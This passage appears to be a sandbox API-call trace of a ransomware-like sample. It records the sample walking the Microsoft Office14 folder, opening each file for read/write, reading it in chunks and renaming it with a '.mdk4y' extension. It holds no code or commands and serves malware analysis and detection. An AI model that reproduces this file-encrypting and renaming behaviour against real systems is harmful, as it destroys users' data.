lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830176800000) returned 1 [0226.538] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc00, lpOverlapped=0x0) returned 1 [0226.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830178200000) returned 1 [0226.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830178200000) returned 1 [0226.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub.mdk4y")) returned 1 [0226.554] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.554] AreFileApisANSI () returned 1 [0226.554] GetACP () returned 0x4e4 [0226.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7.dll", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7.dll_fr.dub", lpUsedDefaultChar=0x37dfd8) returned 9 [0226.554] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.554] AreFileApisANSI () returned 1 [0226.554] GetACP () returned 0x4e4 [0226.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7db.kic", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7db.kicr.dub", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.554] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830178500000) returned 1 [0226.555] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0226.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830181600000) returned 1 [0226.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830181600000) returned 1 [0226.611] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.mdk4y")) returned 1 [0226.613] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.613] AreFileApisANSI () returned 1 [0226.613] GetACP () returned 0x4e4 [0226.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7en.kic", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7en.kic", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.613] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830184500000) returned 1 [0226.615] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0226.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830193300000) returned 1 [0226.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830193300000) returned 1 [0226.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic.mdk4y")) returned 1 [0226.716] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.716] AreFileApisANSI () returned 1 [0226.716] GetACP () returned 0x4e4 [0226.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7es.kic", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7es.kic", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.740] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830197000000) returned 1 [0226.740] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0226.778] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830200800000) returned 1 [0226.779] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830200900000) returned 1 [0226.787] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7es.kic.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mset7es.kic.mdk4y")) returned 1 [0226.790] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.790] AreFileApisANSI () returned 1 [0226.790] GetACP () returned 0x4e4 [0226.790] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7fr.kic", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7fr.kic", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.790] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.791] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830202100000) returned 1 [0226.791] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0226.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830211700000) returned 1 [0226.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830211700000) returned 1 [0226.917] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7fr.kic.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mset7fr.kic.mdk4y")) returned 1 [0226.920] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.920] AreFileApisANSI () returned 1 [0226.920] GetACP () returned 0x4e4 [0226.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7ge.kic", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7ge.kic", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.920] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830215200000) returned 1 [0226.922] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0226.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830217800000) returned 1 [0226.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830217800000) returned 1 [0226.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7ge.kic.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mset7ge.kic.mdk4y")) returned 1 [0226.959] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0226.959] AreFileApisANSI () returned 1 [0226.959] GetACP () returned 0x4e4 [0226.959] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7jp.kic", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7jp.kic", lpUsedDefaultChar=0x37dfd8) returned 11 [0226.959] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0226.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830219000000) returned 1 [0226.960] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0227.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830224400000) returned 1 [0227.014] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830224400000) returned 1 [0227.059] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7jp.kic.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mset7jp.kic.mdk4y")) returned 1 [0227.063] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.063] AreFileApisANSI () returned 1 [0227.063] GetACP () returned 0x4e4 [0227.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7tk.dll", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7tk.dll", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.063] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.063] AreFileApisANSI () returned 1 [0227.063] GetACP () returned 0x4e4 [0227.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mset7tkjp.dll", cchWideChar=13, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="mset7tkjp.dlldub", lpUsedDefaultChar=0x37dfd8) returned 13 [0227.064] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.064] AreFileApisANSI () returned 1 [0227.064] GetACP () returned 0x4e4 [0227.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSN.ICO", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSN.ICOjp.dll", lpUsedDefaultChar=0x37dfd8) returned 7 [0227.064] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830229500000) returned 1 [0227.066] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xe36, lpOverlapped=0x0) returned 1 [0227.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830229700000) returned 1 [0227.067] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830229700000) returned 1 [0227.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSN.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msn.ico.mdk4y")) returned 1 [0227.070] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.070] AreFileApisANSI () returned 1 [0227.070] GetACP () returned 0x4e4 [0227.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSO0127.ACL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSO0127.ACLll", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.070] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830230100000) returned 1 [0227.071] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3392, lpOverlapped=0x0) returned 1 [0227.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830233200000) returned 1 [0227.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830233200000) returned 1 [0227.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSO0127.ACL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\mso0127.acl.mdk4y")) returned 1 [0227.106] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.106] AreFileApisANSI () returned 1 [0227.106] GetACP () returned 0x4e4 [0227.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOCF.DLL", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOCF.DLLCL", lpUsedDefaultChar=0x37dfd8) returned 9 [0227.106] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.108] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830233700000) returned 1 [0227.108] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x36178, lpOverlapped=0x0) returned 1 [0227.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830238700000) returned 1 [0227.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830238700000) returned 1 [0227.159] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCF.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msocf.dll.mdk4y")) returned 1 [0227.160] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.161] AreFileApisANSI () returned 1 [0227.161] GetACP () returned 0x4e4 [0227.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOCFU.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOCFU.DLLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0227.161] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocfu.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830239200000) returned 1 [0227.162] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6a790, lpOverlapped=0x0) returned 1 [0227.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830242300000) returned 1 [0227.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830242300000) returned 1 [0227.197] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocfu.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFU.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msocfu.dll.mdk4y")) returned 1 [0227.200] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.200] AreFileApisANSI () returned 1 [0227.200] GetACP () returned 0x4e4 [0227.200] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOCFUIUTILITIESDLL.DLL", cchWideChar=23, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOCFUIUTILITIESDLL.DLLrkflowactions.proxy.dll", lpUsedDefaultChar=0x37dfd8) returned 23 [0227.200] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocfuiutilitiesdll.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.201] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830243000000) returned 1 [0227.201] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x4590, lpOverlapped=0x0) returned 1 [0227.299] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830252900000) returned 1 [0227.300] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830253000000) returned 1 [0227.300] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msocfuiutilitiesdll.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOCFUIUTILITIESDLL.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msocfuiutilitiesdll.dll.mdk4y")) returned 1 [0227.303] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.303] AreFileApisANSI () returned 1 [0227.303] GetACP () returned 0x4e4 [0227.303] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSODCW.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSODCW.DLLLITIESDLL.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0227.303] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msodcw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.304] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830253400000) returned 1 [0227.304] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa7f60, lpOverlapped=0x0) returned 1 [0227.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830256000000) returned 1 [0227.330] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830256000000) returned 1 [0227.336] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msodcw.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msodcw.dll.mdk4y")) returned 1 [0227.338] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.338] AreFileApisANSI () returned 1 [0227.338] GetACP () returned 0x4e4 [0227.338] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOHEV.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOHEV.DLL", lpUsedDefaultChar=0x37dfd8) returned 10 [0227.339] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msohev.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830257000000) returned 1 [0227.340] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x17b80, lpOverlapped=0x0) returned 1 [0227.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830258000000) returned 1 [0227.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830258100000) returned 1 [0227.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msohev.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\msohev.dll.mdk4y")) returned 1 [0227.357] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0227.357] AreFileApisANSI () returned 1 [0227.357] GetACP () returned 0x4e4 [0227.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MSOHEVI.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="MSOHEVI.DLLITIESDLL.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0227.357] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msohevi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0227.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1830258800000) returned 1 [0227.358] 